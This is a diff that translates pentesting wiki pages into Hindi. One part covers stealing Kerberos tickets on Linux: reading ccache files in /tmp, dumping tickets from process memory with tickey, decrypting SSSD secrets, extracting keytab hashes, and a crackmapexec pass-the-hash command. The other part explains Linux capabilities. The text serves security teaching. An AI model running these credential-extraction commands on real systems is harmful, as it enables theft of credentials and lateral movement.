उपयोग करने के लिए आवश्यक प्रारूप) में कैसे परिवर्तित किया जाए और PTT हमले को कैसे किया जाए: {{#ref}} ../../windows-hardening/active-directory-methodology/pass-the-ticket.md {{#endref}} -### CCACHE ticket reuse from /tmp +### /tmp से CCACHE टिकट पुन: उपयोग -CCACHE files are binary formats for **storing Kerberos credentials** are typically stored with 600 permissions in `/tmp`. These files can be identified by their **name format, `krb5cc_%{uid}`,** correlating to the user's UID. For authentication ticket verification, the **environment variable `KRB5CCNAME`** should be set to the path of the desired ticket file, enabling its reuse. - -List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID. +CCACHE फ़ाइलें **Kerberos क्रेडेंशियल्स** को स्टोर करने के लिए बाइनरी प्रारूप हैं जो आमतौर पर `/tmp` में 600 अनुमतियों के साथ स्टोर की जाती हैं। इन फ़ाइलों की पहचान उनके **नाम प्रारूप, `krb5cc_%{uid}`,** द्वारा की जा सकती है, जो उपयोगकर्ता के UID से संबंधित है। प्रमाणीकरण टिकट सत्यापन के लिए, **पर्यावरण चर `KRB5CCNAME`** को इच्छित टिकट फ़ाइल के पथ पर सेट किया जाना चाहिए, जिससे इसका पुन: उपयोग संभव हो सके। +प्रमाणीकरण के लिए उपयोग किए जा रहे वर्तमान टिकट को `env | grep KRB5CCNAME` के साथ सूचीबद्ध करें। प्रारूप पोर्टेबल है और टिकट को **पर्यावरण चर सेट करके पुन: उपयोग किया जा सकता है** `export KRB5CCNAME=/tmp/ticket.ccache` के साथ। Kerberos टिकट नाम प्रारूप `krb5cc_%{uid}` है जहाँ uid उपयोगकर्ता UID है। ```bash # Find tickets ls /tmp/ | grep krb5cc @@ -52,79 +49,62 @@ krb5cc_1000 # Prepare to use it export KRB5CCNAME=/tmp/krb5cc_1000 ``` +### CCACHE टिकट पुन: उपयोग कीजिए की रिंग से -### CCACHE ticket reuse from keyring - -**Kerberos tickets stored in a process's memory can be extracted**, particularly when the machine's ptrace protection is disabled (`/proc/sys/kernel/yama/ptrace_scope`). A useful tool for this purpose is found at [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), which facilitates the extraction by injecting into sessions and dumping tickets into `/tmp`. - -To configure and use this tool, the steps below are followed: +**प्रक्रिया की मेमोरी में संग्रहीत Kerberos टिकटों को निकाला जा सकता है**, विशेष रूप से जब मशीन की ptrace सुरक्षा अक्षम होती है (`/proc/sys/kernel/yama/ptrace_scope`)। इस उद्देश्य के लिए एक उपयोगी उपकरण [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) पर पाया जा सकता है, जो सत्रों में इंजेक्ट करके और `/tmp` में टिकटों को डंप करके निकासी को सुविधाजनक बनाता है। +इस उपकरण को कॉन्फ़िगर और उपयोग करने के लिए, नीचे दिए गए चरणों का पालन किया जाता है: ```bash git clone https://github.com/TarlogicSecurity/tickey cd tickey/tickey make CONF=Release /tmp/tickey -i ``` +यह प्रक्रिया विभिन्न सत्रों में इंजेक्ट करने का प्रयास करेगी, सफलता को `/tmp` में `__krb_UID.ccache` नामकरण सम्मेलन के साथ निकाले गए टिकटों को संग्रहीत करके इंगित करेगी। -This procedure will attempt to inject into various sessions, indicating success by storing extracted tickets in `/tmp` with a naming convention of `__krb_UID.ccache`. +### CCACHE टिकट पुन: उपयोग SSSD KCM से -### CCACHE ticket reuse from SSSD KCM - -SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions. - -Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**. +SSSD `/var/lib/sss/secrets/secrets.ldb` पथ पर डेटाबेस की एक प्रति बनाए रखता है। संबंधित कुंजी `/var/lib/sss/secrets/.secrets.mkey` पथ पर एक छिपी हुई फ़ाइल के रूप में संग्रहीत होती है। डिफ़ॉल्ट रूप से, कुंजी केवल तब पढ़ी जा सकती है जब आपके पास **root** अनुमतियाँ हों। +\*\*`SSSDKCMExtractor` \*\* को --database और --key पैरामीटर के साथ बुलाने से डेटाबेस को पार्स किया जाएगा और **गुप्त को डिक्रिप्ट** किया जाएगा। ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` +**क्रेडेंशियल कैश कर्बेरोस ब्लॉब को एक उपयोगी कर्बेरोस CCACHE** फ़ाइल में परिवर्तित किया जा सकता है जिसे Mimikatz/Rubeus को पास किया जा सकता है। -The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus. - -### CCACHE ticket reuse from keytab - +### CCACHE टिकट पुन: उपयोग कीजिए कीटैब से ```bash git clone https://github.com/its-a-feature/KeytabParser python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` +### /etc/krb5.keytab से खाते निकालें -### Extract accounts from /etc/krb5.keytab - -Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality. - -To inspect the keytab file's contents, **`klist`** can be employed. The tool is designed to display key details, including the **NT Hash** for user authentication, particularly when the key type is identified as 23. +सेवा खाता कुंजी, जो रूट विशेषाधिकारों के साथ काम करने वाली सेवाओं के लिए आवश्यक हैं, **`/etc/krb5.keytab`** फ़ाइलों में सुरक्षित रूप से संग्रहीत होती हैं। ये कुंजी, सेवाओं के लिए पासवर्ड के समान, कड़ी गोपनीयता की मांग करती हैं। +कीटैब फ़ाइल की सामग्री की जांच करने के लिए, **`klist`** का उपयोग किया जा सकता है। यह उपकरण कुंजी विवरण प्रदर्शित करने के लिए डिज़ाइन किया गया है, जिसमें उपयोगकर्ता प्रमाणीकरण के लिए **NT Hash** शामिल है, विशेष रूप से जब कुंजी प्रकार को 23 के रूप में पहचाना जाता है। ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash ``` - -For Linux users, **`KeyTabExtract`** offers functionality to extract the RC4 HMAC hash, which can be leveraged for NTLM hash reuse. - +Linux उपयोगकर्ताओं के लिए, **`KeyTabExtract`** RC4 HMAC हैश निकालने की कार्यक्षमता प्रदान करता है, जिसे NTLM हैश पुन: उपयोग के लिए उपयोग किया जा सकता है। ```bash python3 keytabextract.py krb5.keytab # Expected output varies based on hash availability ``` - -On macOS, **`bifrost`** serves as a tool for keytab file analysis. - +macOS पर, **`bifrost`** कुंजीपट फ़ाइल विश्लेषण के लिए एक उपकरण के रूप में कार्य करता है। ```bash ./bifrost -action dump -source keytab -path /path/to/your/file ``` - -Utilizing the extracted account and hash information, connections to servers can be established using tools like **`crackmapexec`**. - +निकाली गई खाता और हैश जानकारी का उपयोग करते हुए, **`crackmapexec`** जैसे उपकरणों का उपयोग करके सर्वरों से कनेक्शन स्थापित किए जा सकते हैं। ```bash crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN" ``` - -## References +## संदर्भ - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md index 2fa1b2717..f8b2138dd 100644 --- a/src/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md @@ -2,90 +2,80 @@ {{#include ../../banners/hacktricks-training.md}} -
- -​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.\\ - -{% embed url="https://www.rootedcon.com/" %} ## Linux Capabilities -Linux capabilities divide **root privileges into smaller, distinct units**, allowing processes to have a subset of privileges. This minimizes the risks by not granting full root privileges unnecessarily. +Linux capabilities **रूट विशेषाधिकारों को छोटे, विशिष्ट इकाइयों में विभाजित** करती हैं, जिससे प्रक्रियाओं को विशेषाधिकारों का एक उपसमुच्चय प्राप्त होता है। यह पूर्ण रूट विशेषाधिकारों को अनावश्यक रूप से प्रदान न करके जोखिमों को कम करता है। -### The Problem: +### समस्या: -- Normal users have limited permissions, affecting tasks like opening a network socket which requires root access. +- सामान्य उपयोगकर्ताओं के पास सीमित अनुमतियाँ होती हैं, जो नेटवर्क सॉकेट खोलने जैसे कार्यों को प्रभावित करती हैं, जिसके लिए रूट एक्सेस की आवश्यकता होती है। -### Capability Sets: +### क्षमता सेट: 1. **Inherited (CapInh)**: - - **Purpose**: Determines the capabilities passed down from the parent process. - - **Functionality**: When a new process is created, it inherits the capabilities from its parent in this set. Useful for maintaining certain privileges across process spawns. - - **Restrictions**: A process cannot gain capabilities that its parent did not possess. +- **उद्देश्य**: यह निर्धारित करता है कि कौन सी क्षमताएँ माता-पिता प्रक्रिया से नीचे दी गई हैं। +- **कार्यप्रणाली**: जब एक नई प्रक्रिया बनाई जाती है, तो यह इस सेट में अपने माता-पिता से क्षमताएँ विरासत में लेती है। प्रक्रिया स्पॉन्स के बीच कुछ विशेषाधिकार बनाए रखने के लिए उपयोगी। +- **प्रतिबंध**: एक प्रक्रिया उन क्षमताओं को प्राप्त नहीं कर सकती जो उसके माता-पिता के पास नहीं थीं। 2. **Effective (CapEff)**: - - **Purpose**: Represents the actual capabilities a process is utilizing at any moment. - - **Functionality**: It's the set of capabilities checked by the kernel to grant permission for various operations. For files, this set can be a flag indicating if the file's permitted capabilities are to be considered effective. - - **Significance**: The effective set is crucial for immediate privilege checks, acting as the active set of capabilities a process can use. +- **उद्देश्य**: यह दर्शाता है कि किसी प्रक्रिया द्वारा किसी भी क्षण में वास्तविक क्षमताएँ क्या हैं। +- **कार्यप्रणाली**: यह क्षमताओं का सेट है जिसे विभिन्न संचालन के लिए अनुमति देने के लिए कर्नेल द्वारा जांचा जाता है। फ़ाइलों के लिए, यह सेट एक ध्वज हो सकता है जो यह इंगित करता है कि फ़ाइल की अनुमत क्षमताएँ प्रभावी मानी जाएँगी या नहीं। +- **महत्व**: प्रभावी सेट तात्कालिक विशेषाधिकार जांचों के लिए महत्वपूर्ण है, यह एक सक्रिय सेट के रूप में कार्य करता है जिसे प्रक्रिया उपयोग कर सकती है। 3. **Permitted (CapPrm)**: - - **Purpose**: Defines the maximum set of capabilities a process can possess. - - **Functionality**: A process can elevate a capability from the permitted set to its effective set, giving it the ability to use that capability. It can also drop capabilities from its permitted set. - - **Boundary**: It acts as an upper limit for the capabilities a process can have, ensuring a process doesn't exceed its predefined privilege scope. +- **उद्देश्य**: यह अधिकतम सेट को परिभाषित करता है जो एक प्रक्रिया रख सकती है। +- **कार्यप्रणाली**: एक प्रक्रिया अनुमत सेट से एक क्षमता को प्रभावी सेट में बढ़ा सकती है, जिससे उसे उस क्षमता का उपयोग करने की अनुमति मिलती है। यह अपनी अनुमत सेट से क्षमताएँ भी हटा सकती है। +- **सीमा**: यह एक प्रक्रिया के पास होने वाली क्षमताओं के लिए एक ऊपरी सीमा के रूप में कार्य करता है, यह सुनिश्चित करता है कि प्रक्रिया अपने पूर्वनिर्धारित विशेषाधिकार दायरे से बाहर न जाए। 4. **Bounding (CapBnd)**: - - **Purpose**: Puts a ceiling on the capabilities a process can ever acquire during its lifecycle. - - **Functionality**: Even if a process has a certain capability in its inheritable or permitted set, it cannot acquire that capability unless it's also in the bounding set. - - **Use-case**: This set is particularly useful for restricting a process's privilege escalation potential, adding an extra layer of security. +- **उद्देश्य**: यह एक प्रक्रिया के जीवनकाल के दौरान कभी भी प्राप्त की जा सकने वाली क्षमताओं पर एक छत लगाता है। +- **कार्यप्रणाली**: भले ही एक प्रक्रिया के पास अपनी विरासत में ली गई या अनुमत सेट में एक निश्चित क्षमता हो, वह उस क्षमता को प्राप्त नहीं कर सकती जब तक कि यह बाउंडिंग सेट में भी न हो। +- **उपयोग का मामला**: यह सेट विशेष रूप से एक प्रक्रिया के विशेषाधिकार वृद्धि की संभावनाओं को प्रतिबंधित करने के लिए उपयोगी है, सुरक्षा की एक अतिरिक्त परत जोड़ता है। 5. **Ambient (CapAmb)**: - - **Purpose**: Allows certain capabilities to be maintained across an `execve` system call, which typically would result in a full reset of the process's capabilities. - - **Functionality**: Ensures that non-SUID programs that don't have associated file capabilities can retain certain privileges. - - **Restrictions**: Capabilities in this set are subject to the constraints of the inheritable and permitted sets, ensuring they don't exceed the process's allowed privileges. - +- **उद्देश्य**: यह कुछ क्षमताओं को `execve` सिस्टम कॉल के दौरान बनाए रखने की अनुमति देता है, जो सामान्यतः प्रक्रिया की क्षमताओं का पूर्ण रीसेट करेगा। +- **कार्यप्रणाली**: यह सुनिश्चित करता है कि गैर-SUID कार्यक्रम जो संबंधित फ़ाइल क्षमताएँ नहीं रखते हैं, कुछ विशेषाधिकार बनाए रख सकें। +- **प्रतिबंध**: इस सेट में क्षमताएँ विरासत में ली गई और अनुमत सेट की सीमाओं के अधीन होती हैं, यह सुनिश्चित करते हुए कि वे प्रक्रिया के अनुमत विशेषाधिकारों से अधिक न हों। ```python # Code to demonstrate the interaction of different capability sets might look like this: # Note: This is pseudo-code for illustrative purposes only. def manage_capabilities(process): - if process.has_capability('cap_setpcap'): - process.add_capability_to_set('CapPrm', 'new_capability') - process.limit_capabilities('CapBnd') - process.preserve_capabilities_across_execve('CapAmb') +if process.has_capability('cap_setpcap'): +process.add_capability_to_set('CapPrm', 'new_capability') +process.limit_capabilities('CapBnd') +process.preserve_capabilities_across_execve('CapAmb') ``` - -For further information check: +अधिक जानकारी के लिए देखें: - [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work) - [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/) -## Processes & Binaries Capabilities +## प्रक्रियाएँ और बाइनरी क्षमताएँ -### Processes Capabilities +### प्रक्रियाओं की क्षमताएँ -To see the capabilities for a particular process, use the **status** file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.\ -Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes. +किसी विशेष प्रक्रिया के लिए क्षमताओं को देखने के लिए, /proc निर्देशिका में **status** फ़ाइल का उपयोग करें। चूंकि यह अधिक विवरण प्रदान करता है, आइए इसे केवल Linux क्षमताओं से संबंधित जानकारी तक सीमित करें।\ +ध्यान दें कि सभी चल रही प्रक्रियाओं के लिए क्षमता जानकारी प्रति थ्रेड बनाए रखी जाती है, फ़ाइल सिस्टम में बाइनरी के लिए इसे विस्तारित विशेषताओं में संग्रहीत किया जाता है। -You can find the capabilities defined in /usr/include/linux/capability.h - -You can find the capabilities of the current process in `cat /proc/self/status` or doing `capsh --print` and of other users in `/proc//status` +आप /usr/include/linux/capability.h में परिभाषित क्षमताएँ पा सकते हैं। +आप वर्तमान प्रक्रिया की क्षमताएँ `cat /proc/self/status` में या `capsh --print` करके और अन्य उपयोगकर्ताओं की `/proc//status` में पा सकते हैं। ```bash cat /proc/1234/status | grep Cap cat /proc/$$/status | grep Cap #This will print the capabilities of the current process ``` +यह कमांड अधिकांश सिस्टम पर 5 पंक्तियाँ लौटानी चाहिए। -This command should return 5 lines on most systems. - -- CapInh = Inherited capabilities -- CapPrm = Permitted capabilities -- CapEff = Effective capabilities -- CapBnd = Bounding set -- CapAmb = Ambient capabilities set - +- CapInh = विरासत में मिली क्षमताएँ +- CapPrm = अनुमत क्षमताएँ +- CapEff = प्रभावी क्षमताएँ +- CapBnd = बाउंडिंग सेट +- CapAmb = एंबियंट क्षमताएँ सेट ```bash #These are the typical capabilities of a root owned process (all) CapInh: 0000000000000000 @@ -94,16 +84,12 @@ CapEff: 0000003fffffffff CapBnd: 0000003fffffffff CapAmb: 0000000000000000 ``` - -These hexadecimal numbers don’t make sense. Using the capsh utility we can decode them into the capabilities name. - +ये हेक्साडेसिमल नंबर समझ में नहीं आते। capsh उपयोगिता का उपयोग करके हम इन्हें क्षमताओं के नाम में डिकोड कर सकते हैं। ```bash capsh --decode=0000003fffffffff 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37 ``` - -Lets check now the **capabilities** used by `ping`: - +अब हम `ping` द्वारा उपयोग की जाने वाली **capabilities** की जांच करते हैं: ```bash cat /proc/9491/status | grep Cap CapInh: 0000000000000000 @@ -115,15 +101,11 @@ CapAmb: 0000000000000000 capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` - -Although that works, there is another and easier way. To see the capabilities of a running process, simply use the **getpcaps** tool followed by its process ID (PID). You can also provide a list of process IDs. - +हालांकि यह काम करता है, एक और आसान तरीका है। एक चल रहे प्रक्रिया की क्षमताओं को देखने के लिए, बस **getpcaps** टूल का उपयोग करें उसके प्रक्रिया आईडी (PID) के बाद। आप प्रक्रिया आईडी की एक सूची भी प्रदान कर सकते हैं। ```bash getpcaps 1234 ``` - -Lets check here the capabilities of `tcpdump` after having giving the binary enough capabilities (`cap_net_admin` and `cap_net_raw`) to sniff the network (_tcpdump is running in process 9562_): - +यहाँ `tcpdump` की क्षमताओं की जांच करें, बाइनरी को पर्याप्त क्षमताएँ (`cap_net_admin` और `cap_net_raw`) देने के बाद ताकि नेटवर्क को स्निफ़ किया जा सके (_tcpdump प्रक्रिया 9562 में चल रहा है_): ```bash #The following command give tcpdump the needed capabilities to sniff traffic $ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump @@ -141,53 +123,43 @@ CapAmb: 0000000000000000 $ capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` +जैसा कि आप देख सकते हैं, दिए गए क्षमताएँ बाइनरी की क्षमताओं को प्राप्त करने के 2 तरीकों के परिणामों के साथ मेल खाती हैं।\ +_गेटपीकैप्स_ टूल **capget()** सिस्टम कॉल का उपयोग करके किसी विशेष थ्रेड के लिए उपलब्ध क्षमताओं को क्वेरी करता है। इस सिस्टम कॉल को अधिक जानकारी प्राप्त करने के लिए केवल PID प्रदान करने की आवश्यकता होती है। -As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary.\ -The _getpcaps_ tool uses the **capget()** system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information. - -### Binaries Capabilities - -Binaries can have capabilities that can be used while executing. For example, it's very common to find `ping` binary with `cap_net_raw` capability: +### बाइनरी क्षमताएँ +बाइनरी में ऐसी क्षमताएँ हो सकती हैं जो निष्पादन के दौरान उपयोग की जा सकती हैं। उदाहरण के लिए, `ping` बाइनरी के साथ `cap_net_raw` क्षमता पाना बहुत सामान्य है: ```bash getcap /usr/bin/ping /usr/bin/ping = cap_net_raw+ep ``` - -You can **search binaries with capabilities** using: - +आप **क्षमताओं के साथ बाइनरी खोज सकते हैं**: ```bash getcap -r / 2>/dev/null ``` - ### Dropping capabilities with capsh -If we drop the CAP*NET_RAW capabilities for \_ping*, then the ping utility should no longer work. - +यदि हम \_ping* के लिए CAP*NET_RAW क्षमताएँ हटा दें, तो पिंग उपयोगिता को अब काम नहीं करना चाहिए। ```bash capsh --drop=cap_net_raw --print -- -c "tcpdump" ``` +_ capsh _ के आउटपुट के अलावा, _ tcpdump _ कमांड को भी एक त्रुटि उत्पन्न करनी चाहिए। -Besides the output of _capsh_ itself, the _tcpdump_ command itself should also raise an error. +> /bin/bash: /usr/sbin/tcpdump: अनुमति नहीं है -> /bin/bash: /usr/sbin/tcpdump: Operation not permitted +त्रुटि स्पष्ट रूप से दिखाती है कि पिंग कमांड को ICMP सॉकेट खोलने की अनुमति नहीं है। अब हम निश्चित रूप से जानते हैं कि यह अपेक्षित रूप से काम करता है। -The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected. - -### Remove Capabilities - -You can remove capabilities of a binary with +### क्षमताएँ हटाएँ +आप एक बाइनरी की क्षमताएँ हटा सकते हैं। ```bash setcap -r ``` - ## User Capabilities -Apparently **it's possible to assign capabilities also to users**. This probably means that every process executed by the user will be able to use the users capabilities.\ -Base on on [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)and [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be `/etc/security/capability.conf`.\ -File example: - +स्पष्ट रूप से **उपयोगकर्ताओं को क्षमताएँ सौंपना संभव है**। इसका मतलब शायद यह है कि उपयोगकर्ता द्वारा निष्पादित प्रत्येक प्रक्रिया उपयोगकर्ता की क्षमताओं का उपयोग करने में सक्षम होगी।\ +[इस](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7) , [इस](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) और [इस](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user) के आधार पर कुछ फ़ाइलों को कॉन्फ़िगर करने की आवश्यकता है ताकि एक उपयोगकर्ता को निश्चित क्षमताएँ दी जा सकें, लेकिन प्रत्येक उपयोगकर्ता को क्षमताएँ सौंपने वाली फ़ाइल `/etc/security/capability.conf` होगी।\ +फ़ाइल का उदाहरण: ```bash # Simple cap_sys_ptrace developer @@ -201,24 +173,22 @@ cap_net_admin,cap_net_raw jrnetadmin # Combining names and numerics cap_sys_admin,22,25 jrsysadmin ``` - ## Environment Capabilities -Compiling the following program it's possible to **spawn a bash shell inside an environment that provides capabilities**. - +निम्नलिखित प्रोग्राम को संकलित करके **एक ऐसे वातावरण के अंदर एक बैश शेल उत्पन्न करना संभव है जो क्षमताएँ प्रदान करता है**। ```c:ambient.c /* - * Test program for the ambient capabilities - * - * compile using: - * gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c - * Set effective, inherited and permitted capabilities to the compiled binary - * sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient - * - * To get a shell with additional caps that can be inherited do: - * - * ./ambient /bin/bash - */ +* Test program for the ambient capabilities +* +* compile using: +* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c +* Set effective, inherited and permitted capabilities to the compiled binary +* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient +* +* To get a shell with additional caps that can be inherited do: +* +* ./ambient /bin/bash +*/ #include #include @@ -229,70 +199,70 @@ Compiling the following program it's possible to **spawn a bash shell inside an #include static void set_ambient_cap(int cap) { - int rc; - capng_get_caps_process(); - rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap); - if (rc) { - printf("Cannot add inheritable cap\n"); - exit(2); - } - capng_apply(CAPNG_SELECT_CAPS); - /* Note the two 0s at the end. Kernel checks for these */ - if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) { - perror("Cannot set cap"); - exit(1); - } +int rc; +capng_get_caps_process(); +rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap); +if (rc) { +printf("Cannot add inheritable cap\n"); +exit(2); +} +capng_apply(CAPNG_SELECT_CAPS); +/* Note the two 0s at the end. Kernel checks for these */ +if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) { +perror("Cannot set cap"); +exit(1); +} } void usage(const char * me) { - printf("Usage: %s [-c caps] new-program new-args\n", me); - exit(1); +printf("Usage: %s [-c caps] new-program new-args\n", me); +exit(1); } int default_caplist[] = { - CAP_NET_RAW, - CAP_NET_ADMIN, - CAP_SYS_NICE, - -1 +CAP_NET_RAW, +CAP_NET_ADMIN, +CAP_SYS_NICE, +-1 }; int * get_caplist(const char * arg) { - int i = 1; - int * list = NULL; - char * dup = strdup(arg), * tok; - for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) { - list = realloc(list, (i + 1) * sizeof(int)); - if (!list) { - perror("out of memory"); - exit(1); - } - list[i - 1] = atoi(tok); - list[i] = -1; - i++; - } - return list; +int i = 1; +int * list = NULL; +char * dup = strdup(arg), * tok; +for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) { +list = realloc(list, (i + 1) * sizeof(int)); +if (!list) { +perror("out of memory"); +exit(1); +} +list[i - 1] = atoi(tok); +list[i] = -1; +i++; +} +return list; } int main(int argc, char ** argv) { - int rc, i, gotcaps = 0; - int * caplist = NULL; - int index = 1; // argv index for cmd to start - if (argc < 2) - usage(argv[0]); - if (strcmp(argv[1], "-c") == 0) { - if (argc <= 3) { - usage(argv[0]); - } - caplist = get_caplist(argv[2]); - index = 3; - } - if (!caplist) { - caplist = (int * ) default_caplist; - } - for (i = 0; caplist[i] != -1; i++) { - printf("adding %d to ambient list\n", caplist[i]); - set_ambient_cap(caplist[i]); - } - printf("Ambient forking shell\n"); - if (execv(argv[index], argv + index)) - perror("Cannot exec"); - return 0; +int rc, i, gotcaps = 0; +int * caplist = NULL; +int index = 1; // argv index for cmd to start +if (argc < 2) +usage(argv[0]); +if (strcmp(argv[1], "-c") == 0) { +if (argc <= 3) { +usage(argv[0]); +} +caplist = get_caplist(argv[2]); +index = 3; +} +if (!caplist) { +caplist = (int * ) default_caplist; +} +for (i = 0; caplist[i] != -1; i++) { +printf("adding %d to ambient list\n", caplist[i]); +set_ambient_cap(caplist[i]); +} +printf("Ambient forking shell\n"); +if (execv(argv[index], argv + index)) +perror("Cannot exec"); +return 0; } ``` @@ -301,40 +271,34 @@ gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient ./ambient /bin/bash ``` - -Inside the **bash executed by the compiled ambient binary** it's possible to observe the **new capabilities** (a regular user won't have any capability in the "current" section). - +**संकलित परिवेश बाइनरी द्वारा निष्पादित bash के अंदर** नए **क्षमताओं** को देखना संभव है (एक सामान्य उपयोगकर्ता के पास "वर्तमान" अनुभाग में कोई क्षमता नहीं होगी)। ```bash capsh --print Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip ``` - > [!CAUTION] -> You can **only add capabilities that are present** in both the permitted and the inheritable sets. +> आप **केवल उन क्षमताओं को जोड़ सकते हैं जो मौजूद हैं** अनुमत और विरासत में मिली सेट दोनों में। -### Capability-aware/Capability-dumb binaries +### क्षमता-जानकारी/क्षमता-गूंगे बाइनरी -The **capability-aware binaries won't use the new capabilities** given by the environment, however the **capability dumb binaries will us**e them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries. +**क्षमता-जानकारी बाइनरी नए क्षमताओं का उपयोग नहीं करेंगी** जो वातावरण द्वारा दी गई हैं, हालाँकि **क्षमता-गूंगे बाइनरी उनका उपयोग करेंगी** क्योंकि वे उन्हें अस्वीकार नहीं करेंगी। यह क्षमता-गूंगे बाइनरी को एक विशेष वातावरण के भीतर कमजोर बनाता है जो बाइनरी को क्षमताएँ प्रदान करता है। -## Service Capabilities - -By default a **service running as root will have assigned all the capabilities**, and in some occasions this may be dangerous.\ -Therefore, a **service configuration** file allows to **specify** the **capabilities** you want it to have, **and** the **user** that should execute the service to avoid running a service with unnecessary privileges: +## सेवा क्षमताएँ +डिफ़ॉल्ट रूप से, **रूट के रूप में चलने वाली सेवा को सभी क्षमताएँ सौंप दी जाएंगी**, और कुछ अवसरों पर यह खतरनाक हो सकता है।\ +इसलिए, एक **सेवा कॉन्फ़िगरेशन** फ़ाइल आपको **निर्धारित** करने की अनुमति देती है कि आप इसे कौन सी **क्षमताएँ** देना चाहते हैं, **और** वह **उपयोगकर्ता** जो सेवा को निष्पादित करना चाहिए ताकि अनावश्यक विशेषाधिकारों के साथ सेवा न चलाई जा सके: ```bash [Service] User=bob AmbientCapabilities=CAP_NET_BIND_SERVICE ``` +## Docker कंटेनरों में क्षमताएँ -## Capabilities in Docker Containers - -By default Docker assigns a few capabilities to the containers. It's very easy to check which capabilities are these by running: - +डिफ़ॉल्ट रूप से, Docker कुछ क्षमताएँ कंटेनरों को सौंपता है। यह जांचना बहुत आसान है कि ये क्षमताएँ कौन सी हैं, बस चलाकर: ```bash docker run --rm -it r.j3ss.co/amicontained bash Capabilities: - BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap +BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap # 